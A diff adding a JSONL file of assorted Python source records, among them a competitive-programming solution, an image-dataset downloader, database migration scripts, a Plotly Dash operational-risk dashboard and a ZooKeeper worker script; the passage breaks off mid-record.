diff --git "a/5257.jsonl" "b/5257.jsonl" new file mode 100644--- /dev/null +++ "b/5257.jsonl" @@ -0,0 +1,752 @@ +{"seq_id":"514403573","text":"inp = \"\"\"\n2\n4 2\n3 5 5 2\n5 5\n1 2 3 4 5\"\"\"\nfrom collections import Counter\nfrom sys import stdin\nimport itertools\nt = int(stdin.readline())\nfor _ in range(t):\n n , k = map(int , stdin.readline().split())\n arr = list(map(int , stdin.readline().split()))\n if n == k:\n print(\"YES\")\n continue\n \"\"\"counter = Counter(arr)\n if counter.most_common()[0][1] == n:\n print(\"YES\")\n continue\n com = counter.most_common(k)[:,1]\n st = com[0]\n for ele in com[1:]:\n if ele != st:\n print(\"NO\")\n \"\"\"\n ar =list(set(itertools.permutations(arr)))\n for a in ar:\n a = list(a)\n su = sum(a[:k])\n flag = 0\n for i in range(1,n-k):\n if su != sum(a[i:k]):\n flag = 1\n break\n if flag == 0:\n print(\"YES\")\n break\n print(\"NO\")\n \n","sub_path":"PermuteAndArray.py","file_name":"PermuteAndArray.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"563346016","text":"#!/usr/bin/env python\nimport sys\nif __name__ == \"__main__\":\n text = 'Ala ma kota ala ala ala'\n dic={}\n for txt in text.lower().split():\n if (txt not in dic):\n dic[txt]=1\n else:\n dic[txt]+=1\n\n for k, v in dic.iteritems():\n print(k+\" -> \"+str(v))\n\n\n\n\n#a = '123' if b else '456'\n\n","sub_path":"dict.py","file_name":"dict.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"603972346","text":"# -*- coding: utf-8 -*-\nimport io\nfrom pathlib import Path\nfrom typing import Dict, List, Iterable, Union, Tuple\nimport hashlib\nimport csv\nimport urllib.error\nimport urllib.request\nimport shutil\nfrom multiprocessing.pool import Pool\nfrom multiprocessing import RLock, current_process\nfrom tqdm.auto import tqdm, trange\nimport argtyped\nimport socket\nimport signal\n\nsocket.setdefaulttimeout(1)\n\n# Intercept Ctrl-C to exit gracefully\nstop = False\ndef signal_handler(signal_received, frame):\n global stop\n stop = True\nsignal.signal(signal.SIGINT, signal_handler)\n\n\nclass Arguments(argtyped.Arguments):\n csv: Path\n num_proc: int = 5\n num_subdir: int = 40\n correspondance: Path = Path(\"correspondance\")\n image_folder: Path = Path(\"images\")\n num_rows: int = 3318333\n\ndef check_type(t: str) -> Tuple[str, bool]:\n if t == \"jpeg\":\n t = \"jpg\"\n if t not in (\"jpg\", \"png\", \"gif\"):\n t = \"unk\"\n return (t, t == \"unk\")\n\ndef get_filename(url: str) -> Tuple[str, bool]:\n url = url.split(\"?\")[0].split(\"&\")[0].split(\";\")[0]\n stem = hashlib.sha1(str(url).encode())\n\n suffix, type_unknown = check_type(Path(url).suffix.strip().strip('.').lower())\n\n return (f\"{stem.hexdigest()}.{suffix}\", type_unknown)\n\n\ndef download_url(url: str, type_unknown: bool, dest: Union[str, Path]) -> Union[str, Path]:\n dest = Path(dest)\n if dest.is_file():\n return dest\n\n if type_unknown:\n for suffix in (\".jpg\", \".png\", \".gif\"):\n new_dest = dest.with_suffix(suffix)\n if new_dest.is_file():\n return new_dest\n\n _, headers = urllib.request.urlretrieve(url, dest)\n\n # Try to guess if the type is unknown\n if type_unknown:\n suffix, type_unknown = check_type(headers.get_content_subtype())\n\n if type_unknown and headers.get_filename() is not None:\n suffix, type_unknown = check_type(Path(headers.get_filename()).suffix.strip().strip('.').lower())\n\n if not type_unknown:\n new_dest = dest.with_suffix('.{}'.format(suffix))\n shutil.move(dest, new_dest)\n dest = new_dest\n\n return dest\n\ndef image_downloader(dataset_sub):\n \"\"\"\n Input:\n param: img_url str (Image url)\n Tries to download the image url and use name provided in headers. Else it randomly picks a name\n \"\"\"\n subdir_id, rows = dataset_sub\n\n subdir = args.image_folder / str(subdir_id)\n subdir.mkdir(exist_ok=True, parents=True)\n\n correspondance_file = args.correspondance / f\"{args.csv.stem}.part-{subdir_id}.tsv\"\n\n with open(correspondance_file, \"w\") as fid:\n for row in tqdm(rows,\n desc=\"#{0}: \".format(subdir_id),\n position=current_process()._identity[0]-1,\n leave=True):\n if stop:\n break\n try:\n filename, type_unknown = get_filename(row[\"url\"])\n path = subdir / filename\n path = download_url(row[\"url\"], type_unknown, path)\n except:\n path = 'N/A'\n fid.write(\"\\t\".join([row[\"caption\"], row[\"url\"], str(path)]))\n fid.write(\"\\n\")\n\n\ndef run_downloader(args: Arguments, dataset):\n \"\"\"\n Inputs:\n process: (int) number of process to run\n images_url:(list) list of images url\n \"\"\"\n print(f\"Running {args.num_proc} process\")\n with Pool(args.num_proc,\n initializer=tqdm.set_lock,\n initargs=(tqdm.get_lock(),)) as pool:\n list(\n pool.imap_unordered(\n image_downloader,\n dataset,\n chunksize=1,\n )\n )\n\n\ndef split_dataset(args: Arguments):\n \"\"\"\n Split the dataset into subdirectories\n \"\"\"\n num_rows_sub = args.num_rows // args.num_subdir\n num_subdir_extra = args.num_rows % args.num_subdir\n subdir_id = 0\n n = 0\n dataset = []\n dataset_sub = []\n\n with open(args.csv, \"r\") as f:\n reader = csv.DictReader(f, delimiter=\"\\t\", fieldnames=(\"caption\", \"url\"))\n\n for row in reader:\n dataset_sub.append(row)\n n += 1\n if (n == num_rows_sub + (1 if subdir_id < num_subdir_extra else 0)):\n dataset.append((subdir_id, dataset_sub))\n n = 0\n dataset_sub = []\n subdir_id += 1\n\n assert(len(dataset) == args.num_subdir and len(dataset_sub) == 0)\n\n return dataset\n\n\nif __name__ == \"__main__\":\n args = Arguments()\n print(args.to_string(width=80))\n\n print(\"Splitting the dataset\")\n dataset = split_dataset(args)\n\n args.correspondance.mkdir(parents=True)\n run_downloader(args, dataset)\n","sub_path":"download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":4691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"69513227","text":"import dataset\nimport datetime\nimport os\nimport unicodedata\n\n\ndef convert_name_to_slug(name):\n \"\"\"Takes a congresista name and returns its slug.\"\"\"\n name = name.replace(\",\", \"\").lower()\n name = name.split(\" \")\n\n if len(name) > 2:\n i = 0\n slug = \"\"\n while i < 3:\n slug += name[i]\n if i < 2:\n slug += \"_\"\n i += 1\n slug = unicodedata.normalize('NFKD', slug).encode('ascii', 'ignore')\n slug = str(slug, encoding=\"utf-8\")\n return slug + \"/\"\n\nold_db = os.path.join(\"..\", \"leyes.db\")\nnew_db = \"leyes_sqlite3.db\"\n\ndb = dataset.connect(\"sqlite:///\" + old_db)\nres = db.query(\"select * from proyectos\")\n\nnew_items = []\nslugs = [] # translation table between name an URL\nfor i in res:\n timestamp = datetime.datetime.fromtimestamp(i['timestamp'])\n i['time_created'] = timestamp\n i['time_edited'] = timestamp\n\n try:\n fecha_presentacion = datetime.datetime.strptime(\n i['fecha_presentacion'],\n '%d/%m/%Y',\n )\n except ValueError:\n fecha_presentacion = datetime.datetime.strptime(\n i['fecha_presentacion'],\n '%d/%m/%y',\n )\n\n fecha_presentacion = datetime.datetime.date(fecha_presentacion)\n i['fecha_presentacion'] = fecha_presentacion\n\n i['expediente'] = i['link_to_pdf']\n\n if i['pdf_url'] is None:\n i['pdf_url'] = ''\n if i['seguimiento_page'] is None:\n i['seguimiento_page'] = ''\n\n del i['link_to_pdf']\n del i['timestamp']\n del i['id']\n del i['link']\n\n congresistas = i['congresistas'].split(';')\n for congre in congresistas:\n congre = congre.strip()\n obj = dict(nombre=congre)\n if congre is not None and congre.strip() != '':\n congre_slug = convert_name_to_slug(congre)\n obj['slug'] = congre_slug\n if obj not in slugs and congre_slug is not None:\n slugs.append(obj)\n\n new_items.append(i)\n\ndb = dataset.connect(\"sqlite:///\" + new_db)\ntable = db['pdl_proyecto']\ntable.insert_many(new_items)\n\n\ntable = db['pdl_slug']\ntable.insert_many(slugs)\n\n\n# fix domain from example.com to proyectosdeley.pe\ntable = db['django_site']\ntable.update(dict(id=1, domain='proyectosdeley.pe', name='proyectosdeley.pe'),\n ['id']\n )\n","sub_path":"migrate_db.py","file_name":"migrate_db.py","file_ext":"py","file_size_in_byte":2327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"51928406","text":"from Common.codes import Codes\nfrom Common import db_connect\nfrom Common.query import Query\nfrom Common.tables import Tables\n\n__author__ = 'dima'\n\n\ndef status():\n response = {}\n\n tables = [Tables.TABLE_NAMES['USER'], Tables.TABLE_NAMES['THREAD'],\n Tables.TABLE_NAMES['FORUM'], Tables.TABLE_NAMES['POST']]\n\n connection = db_connect.get_connection()\n try:\n cursor = connection.cursor()\n\n for table in tables:\n query = Query.SELECT.format(\n columns='COUNT(*)',\n table=table\n )\n\n cursor.execute(query)\n response[table] = cursor.fetchone()[0]\n except Exception as e:\n return Codes.UNKNOWN_ERROR, str(e)\n finally:\n connection.close()\n\n return Codes.OK, response\n\n\ndef clear():\n tables = []\n for table in Tables.TABLE_NAMES:\n tables.append(Tables.TABLE_NAMES[table])\n\n queries = Query.truncate_query(tables)\n\n connection = db_connect.get_connection()\n try:\n cursor = connection.cursor()\n\n for query in queries:\n cursor.execute(query)\n except Exception as e:\n return Codes.UNKNOWN_ERROR, str(e)\n finally:\n connection.close()\n\n return Codes.OK, 'OK'\n","sub_path":"Common/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"347983051","text":"import pandas as pd\nimport numpy as np\n\ndata_path = \"data/\"\n\ndef load_data(file_path, start, end):\n df = pd.read_csv(file_path)\n df = df[df['DATE'] < end]\n df = df[df['DATE'] >= start]\n return df\n\ndef rate(data):\n result = []\n for i in range(len(data) - 1):\n result.append(round(data[i] / data[i + 1] - 1, 2))\n return result\n\n#分割する\ndef divide(data, period, space):\n result = []\n for i in range(len(data) - period):\n result.append(data[i: i + period])\n if space == 0:\n return result\n else:\n return result[::space]\n\n#0~1に変換する\ndef normarize(data):\n result = []\n mx = max(data)\n mn = min(data)\n for i in data:\n result.append((i - mn) / (mx - mn))\n return result\n\n#2次元データの配列を0~1に変換する\ndef normarize2D(data):\n result = []\n for i in data:\n mx = max(i.flatten())\n mn = min(i.flatten())\n temp = []\n for j in i:\n temp.append([\n (j[0] - mn) / (mx - mn),\n (j[1] - mn) / (mx - mn),\n (j[2] - mn) / (mx - mn),\n (j[3] - mn) / (mx - mn)\n ])\n result.append(temp)\n return result\n","sub_path":"python-stock/data_processor.py","file_name":"data_processor.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"329205500","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[27]:\n\n\nimport nltk\nfrom nltk.text import Text\nfrom bs4 import BeautifulSoup\nfrom nltk.corpus import PlaintextCorpusReader\nfrom nltk.corpus import stopwords\nimport re\nimport pickle\nimport math\nimport numpy as np\nimport os\n\n# In[103]:\n\n\ndef removeStopWords(wordsWithTag, language='spanish'):\n '''Receives a list of words and returns another list without stop words'''\n return [ word for word in wordsWithTag if word[0] not in stopwords.words(language) ]\n\n\n# In[105]:\n\n\ndef clearTokens(tokensWithTag):\n '''Receives a list of with tag and returns another list with the same tokens but only with letters'''\n result = []\n for token in tokensWithTag:\n clearToken = \"\"\n for c in token[0]:\n if re.match(r'[a-záéíóúñüA-ZÁÉÍÓÚÑÜ]', c):\n clearToken += c\n if len(clearToken) > 0:\n result.append((clearToken, token[1]))\n return result\n\n\n# In[6]:\n\n\ndef getContexts(wordList, windowSize=4):\n '''Given a list of words, returns a dictionary of contexts of each word'''\n contexts = dict()\n index = 0\n for index in range(len(wordList)):\n word = wordList[index]\n if word not in contexts:\n contexts[word] = []\n start = max(0, index - windowSize)\n end = min(index + windowSize, len(wordList) - 1)\n for i in range(start, end + 1):\n if i != index:\n contexts[word].append(wordList[i])\n return contexts\n\n\n# In[69]:\n\n\ndef getLemmasDictionary(fname=\"generate.txt\"):\n with open(fname, 'r') as f:\n lines = [line.strip() for line in f.readlines()]\n \n lemmas = {}\n for line in lines:\n if line != \"\":\n words = [word.strip() for word in line.split()]\n wordform = words[0].replace(\"#\", \"\")\n kind = words[-2][0].lower()\n lemmas[(wordform, kind)] = words[-1]\n return lemmas\n\n\n# In[8]:\n\n\ndef serializeObject(obj, fname=\"lemmas2.pkl\"):\n with open(fname, \"wb\") as f:\n pickle.dump(obj, f, -1)\n\n\n# In[9]:\n\n\ndef deserializeObject(fname=\"lemmas2.pkl\"):\n with open(fname, \"rb\") as f:\n return pickle.load(f)\n\n\n# In[126]:\n\n\ndef lemmatize(wordsTagged, fname=\"lemmas2.pkl\"):\n lemmas = deserializeObject(fname)\n wordsLemmatized = []\n for word in wordsTagged:\n if word in lemmas.keys():\n wordsLemmatized.append((lemmas[word], word[1]))\n else:\n wordsLemmatized.append(word)\n return wordsLemmatized\n\n\n# In[70]:\n\n#------------------------------MAIN--------------------------------------------\n\nserializeObject(getLemmasDictionary(), \"lemmas2.pkl\")\n\n\n# In[19]:\n\n\ndef getSentences(fname):\n with open (fname, encoding=\"utf-8\") as f:\n text_string = f.read()\n soup = BeautifulSoup(text_string, \"html\")\n text_string = soup.get_text()\n \n sent_tokenizer = nltk.data.load(\"nltk:tokenizers/punkt/english.pickle\")\n sentences = sent_tokenizer.tokenize(text_string)\n return sentences\n\n\n# In[147]:\n\n\nsentences = getSentences(\"text.htm\")\n\n\n# In[148]:\n\n\ndef trainSpanishTagger():\n patterns = [\n (r'.*o$', 'n'), # noun masculine singular\n (r'.*os$', 'n'), # noun masculine plural\n (r'.*a$', 'n'), # noun femenine singular\n (r'.*as$', 'n') # noun femenine plural\n ]\n regexpTagger = nltk.RegexpTagger(patterns, nltk.DefaultTagger('s'))\n unigram_tagger = nltk.UnigramTagger(nltk.corpus.cess_esp.tagged_sents(), None, regexpTagger)\n return unigram_tagger\n\n\n# In[149]:\n\n\nserializeObject(trainSpanishTagger(), \"tagger.pkl\")\n\n\n# In[150]:\n\n\ndef tagSentencesSpanishTagger(sentences):\n sentences_tagged = []\n spanish_tagger = deserializeObject(\"tagger.pkl\")\n for s in sentences:\n tokens = nltk.word_tokenize(s)\n s_tagged = spanish_tagger.tag(tokens)\n s_tagged = [(it[0].lower(), it[1][0].lower()) for it in s_tagged]\n sentences_tagged.append(s_tagged)\n return sentences_tagged\n\n\n# In[151]:\n\n\nsentencesWithTags = tagSentencesSpanishTagger(sentences)\n\n\n# In[152]:\n\n\ndef getWordsFromSentences(sentences):\n words = []\n for sentence in sentences:\n for word in sentence:\n words.append(word)\n return words\n\n\n# In[153]:\n\n\nwordsWithTags = getWordsFromSentences(sentencesWithTags)\nclearedTokens = removeStopWords(clearTokens(wordsWithTags))\n\n\n# In[154]:\n\n\nlemmatizedWords = lemmatize(clearedTokens)\ncontexts = getContexts(lemmatizedWords)\nvocabulary = sorted(set(lemmatizedWords))\n\n\n# In[155]:\n\n\nvectors = dict()\nfor mainWord, context in contexts.items():\n contextFreq = dict()\n for word in context:\n if word not in contextFreq:\n contextFreq[word] = 0\n contextFreq[word] += 1\n l = np.zeros(len(vocabulary))\n for i in range(len(vocabulary)):\n word = vocabulary[i]\n if word in contextFreq:\n l[i] = contextFreq[word]\n vectors[mainWord] = l\n\n\n# In[156]:\n\n\nans = []\nv1 = vectors[(\"dólar\", \"n\")]\nfor word in vocabulary:\n v2 = vectors[word]\n cosine = np.dot(v1, v2) / np.sqrt(np.sum(v1 ** 2)) / np.sqrt(np.sum(v2 ** 2))\n ans.append((word, cosine))\nans.sort(key = lambda x: x[1], reverse=True)\n\n\n# In[157]:\n\n\nwith open(\"output3.txt\", \"w\") as f:\n for par in ans:\n if par[0][1] == 'n':\n f.write(F\"{par[0]} {par[1]}\\n\")\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"Lab 5/practica-POST-Tag.py","file_name":"practica-POST-Tag.py","file_ext":"py","file_size_in_byte":5332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"486608880","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='ClassFile',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('fileName', models.CharField(max_length=200, verbose_name='\\u6587\\u4ef6\\u540d\\u5b57')),\n ('md5', models.CharField(max_length=300, null=True, verbose_name='\\u6587\\u4ef6MD5', blank=True)),\n ('downloadNum', models.IntegerField(default=0, verbose_name='\\u4e0b\\u8f7d\\u6b21\\u6570')),\n ('size', models.IntegerField(null=True, verbose_name='\\u6587\\u4ef6\\u5927\\u5c0f', blank=True)),\n ('key', models.CharField(max_length=50, verbose_name='\\u6587\\u4ef6\\u5bc6\\u5319')),\n ],\n options={\n 'verbose_name': '\\u516c\\u9009\\u8bfe\\u8d44\\u6599',\n 'verbose_name_plural': '\\u516c\\u9009\\u8bfe\\u8d44\\u6599',\n },\n ),\n migrations.CreateModel(\n name='FileType',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=50, verbose_name='\\u6587\\u4ef6\\u7c7b\\u578b')),\n ('icon', models.ImageField(upload_to=b'file_type_icon', verbose_name='\\u7c7b\\u578bicon')),\n ],\n options={\n 'verbose_name': '\\u6587\\u4ef6\\u7c7b\\u578b',\n 'verbose_name_plural': '\\u6587\\u4ef6\\u7c7b\\u578b',\n },\n ),\n migrations.CreateModel(\n name='PublicClass',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('publicClassName', models.CharField(max_length=50, verbose_name='\\u516c\\u9009\\u8bfe\\u540d\\u79f0')),\n ('number', models.IntegerField(default=0, verbose_name='\\u6392\\u5e8f\\u53f7')),\n ],\n options={\n 'ordering': ['number'],\n 'verbose_name': '\\u516c\\u9009\\u8bfe',\n 'verbose_name_plural': '\\u516c\\u9009\\u8bfe',\n },\n ),\n migrations.CreateModel(\n name='PublicClassTag',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=50, verbose_name='\\u516c\\u9009\\u8bfe\\u5206\\u7c7b\\u540d\\u79f0')),\n ('icon', models.CharField(max_length=50, verbose_name='icon\\u540d\\u5b57')),\n ('number', models.IntegerField(default=0, verbose_name='\\u6392\\u5e8f\\u53f7')),\n ],\n options={\n 'ordering': ['number'],\n 'verbose_name': '\\u516c\\u9009\\u8bfe\\u5206\\u7c7b',\n 'verbose_name_plural': '\\u516c\\u9009\\u8bfe\\u5206\\u7c7b',\n },\n ),\n migrations.AddField(\n model_name='publicclass',\n name='type',\n field=models.ForeignKey(verbose_name='\\u516c\\u9009\\u8bfe\\u5206\\u7c7b', to='source.PublicClassTag'),\n ),\n migrations.AddField(\n model_name='classfile',\n name='publicClass',\n field=models.ForeignKey(verbose_name='\\u516c\\u9009\\u8bfe', to='source.PublicClass'),\n ),\n migrations.AddField(\n model_name='classfile',\n name='type',\n field=models.ForeignKey(verbose_name='\\u6587\\u4ef6\\u7c7b\\u578b', blank=True, to='source.FileType', null=True),\n ),\n ]\n","sub_path":"zq_taoke_new/source/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":3754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"97111225","text":"import dash\nimport dash_core_components as dcc\nimport dash_html_components as html\n#import dash_bootstrap_components as dbc\nfrom dash.dependencies import Input, Output, State\nfrom op_risk_simulation import op_risk_calculator\nimport plotly.graph_objs as go\nimport pandas as pd\n\napp = dash.Dash()\nserver = app.server\n\nplaceholder_text = '{\"Scenarios\":{\"0\":\"Extreme Unexpected Model Behaviour\",\"1\":\"Business Discontinuity - Loss of Office\", \\\n \"2\":\"Business Discontinuity - Loss of Research Cluster\",\"3\":\"External Service Provider Failure\", \\\n \"4\":\"IP Theft\",\"5\":\"Key Team Risk\",\"6\":\"Internal Fraud\",\"7\":\"Reg Breach & fine - systemic\",\"8\":\"Total\"}, \\\n \"TypicalLossEstimate\":{\"0\":0,\"1\":0,\"2\":0,\"3\":0,\"4\":0,\"5\":0,\"6\":0,\"7\":0,\"8\":0},\\\n \"WorstCaseLossEstimate\":{\"0\":0,\"1\":0,\"2\":0,\"3\":0,\"4\":0,\"5\":0,\"6\":0,\"7\":0,\"8\":0},\\\n \"FrequencyEstimate\":{\"0\":0,\"1\":0,\"2\":0,\"3\":0,\"4\":0,\"5\":0,\"6\":0,\"7\":0,\"8\":0.0},\\\n \"modelled_capital\":{\"0\":0,\"1\":0,\"2\":0,\"3\":0,\"4\":0,\"5\":0,\"6\":0,\"7\":0,\"8\":0},\\\n \"Simulation\":{\"0\":2018,\"1\":2018,\"2\":2018,\"3\":2018,\"4\":2018,\"5\":2018,\"6\":2018,\"7\":2018,\"8\":2018}}'\n\ndist_type = ['Normal Distribution','T-distribution']\n\n\napp.layout = \\\n html.Div([\n html.Div([\n html.H1('Operational Risk Dashboard')\n ]),\n html.Div([\n html.H3('Select Inputs to Operational Risk Calculator:')\n ]),\n html.Div([\n dcc.Dropdown(\n id='my-dist-type',\n options= [\n {'label': 'Normal Distribution', 'value': 'Normal'},\n {'label': 'T Distribution', 'value': 'T'}\n ],\n placeholder='Select a Distribution Type',\n multi=False,\n )\n ],style={'width':'20%','display':'inline-block'}\n ),\n html.Div([\n dcc.Dropdown(\n id='my-year-picker',\n options= [\n {'label': '2018', 'value': 2018},\n {'label': '2019', 'value': 2019}\n ],\n placeholder='Select One or More Years',\n multi=True,\n )\n ],style={'width':'20%','display':'inline-block'}\n ),\n html.Div([\n html.H5(children='Enter Degrees of Freedom Below (must be an integer greater than 1) if T-Distribution Selected:')\n ],style={'margin-bottom':5})\n ,\n html.Div([\n dcc.Input(\n id='my-dof-picker',\n type='text',\n placeholder='Value Not Required',\n required=False\n ),\n html.Button(\n id='submit-button',\n children='Run Simulation',\n n_clicks = 0,\n style={'fontSize':18,'marginLeft':10}\n )\n ],style={'padding-bottom':10}),\n html.Div(id='display-results'),\n html.Div(\n [\n dcc.Graph(\n id='my-graph'\n ),\n dcc.Graph(\n id='my-table'\n )\n ]\n ),\n html.Div(id='intermediate-value', style={'display': 'none'}, children=placeholder_text)\n ])\n\n\n\n\n# callback to show whether or not the DoF parameter is required\n@app.callback(\n Output('my-dof-picker','placeholder'),\n [Input('my-dist-type','value')]\n)\ndef dof_placeholder_update(dist_type):\n if dist_type == 'T':\n return 'Value Required'\n elif dist_type == 'Normal':\n return 'Value Not Required'\n else:\n return None\n\n\n# callback to display a message of the simulation results that are being graphed\n@app.callback(\n Output('display-results','children'),\n [Input('submit-button','n_clicks')],\n [State('my-dist-type','value'),\n State('my-dof-picker','value'),\n State('my-year-picker','value')]\n)\ndef update_input(n_clicks,dist_type,dof,year_list):\n if dist_type=='Normal':\n return 'Simulation has run using a {} distribution and data from year {}'.format(dist_type,year_list)\n elif dist_type == 'T':\n if dof is not None:\n if (float(dof)>=2) and (float(dof) == int(float(dof))):\n return 'Simulation has run using a {} distribution, DoF = {} and data from year {}'.format(dist_type,dof,year_list)\n else:\n return 'Error: T-distribution selected but degrees of freedom needs to be an integer greater than or equal to 2'\n else:\n return 'Error: T-distribution selected but no degrees of freedom entered'\n else: # no Dist type selected at initialisation\n return 'Enter Inputs and run the simulation to generate the graph and table'\n\n\n\n#callback to store simulation data in hidden div as a json\n@app.callback(\n Output('intermediate-value', 'children'),\n [Input('submit-button','n_clicks')],\n [State('my-dist-type','value'),\n State('my-dof-picker','value'),\n State('my-year-picker','value')]\n)\ndef run_simulation(n_clicks,dist_type,dof,year_list):\n if ((dist_type=='T') and (dof is not None)):\n if (float(dof)>=2) and (float(dof) == int(float(dof))): # check dof is an integer greater than or equal to 2\n df=pd.DataFrame()\n for year in year_list:\n df_loop = op_risk_calculator(dist_type,year, int(dof))\n df_loop['Simulation'] = year\n df=df.append(df_loop, ignore_index=True) # ensures appended dataframes continue index numbering as opposed to starting from 0 again\n return df.to_json()\n else:\n return None\n elif dist_type=='Normal':\n df = pd.DataFrame()\n for year in year_list:\n df_loop = op_risk_calculator(dist_type, year)\n df_loop['Simulation'] = year\n df = df.append(df_loop, ignore_index=True) # ensures appended dataframes continue index numbering as opposed to starting from 0 again\n return df.to_json()\n else:\n return placeholder_text\n\n\n\n# callback to display graph using data stored in the hidden div\n@app.callback(\n Output('my-graph','figure'),\n [Input('intermediate-value', 'children')]\n)\ndef update_graph(json_data):\n df_raw = pd.read_json(json_data)\n traces=[]\n for sim in df_raw['Simulation'].unique():\n df = df_raw[df_raw['Simulation'] == sim]\n traces.append(go.Bar(\n x=df.Scenarios,\n y=df.modelled_capital,\n #text=df.index,\n #mode='lines',\n name=str(sim)\n )\n )\n layout=go.Layout(\n title='Op Risk Scenario Breakdown',\n height=650,\n xaxis = dict(\n #title='Scenario',\n automargin=True\n ),\n yaxis = dict(\n title = 'Capital in £',\n tickformat=',d'\n )\n )\n fig = go.Figure(data=traces,layout=layout)\n return fig\n\n\n# callback to display table using data stored in the hidden div\n@app.callback(\n Output('my-table','figure'),\n [Input('intermediate-value', 'children')]\n)\ndef update_table(json_data):\n df = pd.read_json(json_data)\n df = df.sort_index()\n trace = go.Table(\n #columnwidth=[40,60,50,100,50],\n header=dict(values=['Simulation',\n 'Scenario',\n 'Typical Loss',\n 'Worst Case Loss',\n 'Frequency',\n 'Modelled Capital'\n ],\n fill=dict(color='#00aec7'),\n font=dict(color='white',size=14),\n line = dict(color='rgb(50,50,50)')\n ),\n cells=dict(values=[df.Simulation,\n df.Scenarios,\n df.TypicalLossEstimate.map(\"£{:,.0f}\".format),\n df.WorstCaseLossEstimate.map(\"£{:,.0f}\".format),\n (100*df.FrequencyEstimate).map(\"{0:.0f}%\".format),\n df.modelled_capital.map(\"£{:,.0f}\".format)\n ],\n font=dict(color=[\n ['black'],\n ['black'],\n ['white' if val=='Total' else 'black' for val in df.Scenarios],\n ['white' if val=='Total' else 'black' for val in df.Scenarios],\n ['white' if val=='Total' else 'black' for val in df.Scenarios],\n ['black']]\n ),\n fill=dict(color=[\n ['#ffffe0' if val=='Total' else 'white' for val in df.Scenarios],\n ['#ffffe0' if val=='Total' else 'white' for val in df.Scenarios],\n ['#ffffe0' if val=='Total' else 'white' for val in df.Scenarios],\n ['#ffffe0' if val=='Total' else 'white' for val in df.Scenarios],\n ['#ffffe0' if val=='Total' else 'white' for val in df.Scenarios],\n ['#ffffe0' if val=='Total' else 'white' for val in df.Scenarios]]\n ),\n line = dict(color='rgb(50,50,50)')\n )\n )\n layout = go.Layout(\n height=650\n )\n data=[trace]\n tab = go.Figure(data=data, layout=layout)\n return tab\n\n\n\nif __name__ == '__main__':\n app.run_server(debug=True)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":9615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"212335763","text":"#import required libraries\nimport logging\nimport os\nimport subprocess\nfrom kazoo.client import KazooClient\nfrom kazoo.client import KazooState\nimport time\ntime.sleep(6)\n\nzk_path=\"/producer/\" #root path for zookeeper watch is specified here\ndata = os.environ\nprint(data,\"\\nos.environ\\n\")\nwid=os.environ['workerUniqueId'] #fetching the environment variable value for this worker \nprint(os.environ['workerUniqueId'],\"\\nenv id\\n\")\nnewZnodePath=zk_path+\"Worker\"+str(wid) #forming the path for this znode\nzk = KazooClient(hosts='zoo:2181') #connecting to zookeeper server\nzk.start()\nzk.ensure_path(zk_path) #ensures a path , creates if necessary\n\n# It checks whether the newZnodePath exists \n# and creates if neccessary marking it as ephemeral\n# which indicates that if connection is lost then the znode\n# is removed by the zookeeper \nif zk.exists(newZnodePath):\n print(\"Node already exists\")\nelse:\n print(\"Creating new znode\")\n zk.create(newZnodePath, b\"master\",ephemeral=True)\n\n#Starts a python process which makes the worker to behave as master\nworkerProc=subprocess.Popen([\"python\",\"master.py\",\"1\"])\n\n\nlogging.basicConfig()\n\n# This function is called whenever the data is changed \n# w.r.t this znode in case of master election.\n# Checks whetehr the set data is master indicating this\n# znode as the new master, in that case python process \n# is killed to make it behave as master.\ndef demo_func(event):\n global zk_path\n global workerProc\n global zk\n data, stat = zk.get(newZnodePath,watch=demo_func)\n mydata=data.decode(\"utf-8\")\n if(mydata==\"master\"):\n print(\"Yay !! I am the new master now. says: \"+newZnodePath)\n print(\"restart the process worker.py\")\n workerProc.kill()\n workerProc=subprocess.Popen([\"python\",\"master.py\",\"1\"])\n workerProc.wait()\n\n print(event)\n children = zk.get_children(zk_path)\n print(\"There are %s children with names %s\" % (len(children), children))\n\n\ndata, stat = zk.get(newZnodePath,watch=demo_func)\nprint(\"Version: %s, data: %s\" % (stat.version, data.decode(\"utf-8\")))\nworkerProc.wait()\n","sub_path":"master/zk_orch.py","file_name":"zk_orch.py","file_ext":"py","file_size_in_byte":2084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"576327956","text":"from utils.database import io, config as cfg\nfrom utils.database.models.base_private import PersonDescription\nfrom utils.etlkit.core import base, transform\nfrom utils.etlkit.reader.mysqlreader import MysqlInput\nimport re\n\nENGINE = cfg.load_engine()[\"etl01\"]\n\n\nclass Streams:\n SQL_02 = \"SELECT im.matched_id as person_id, 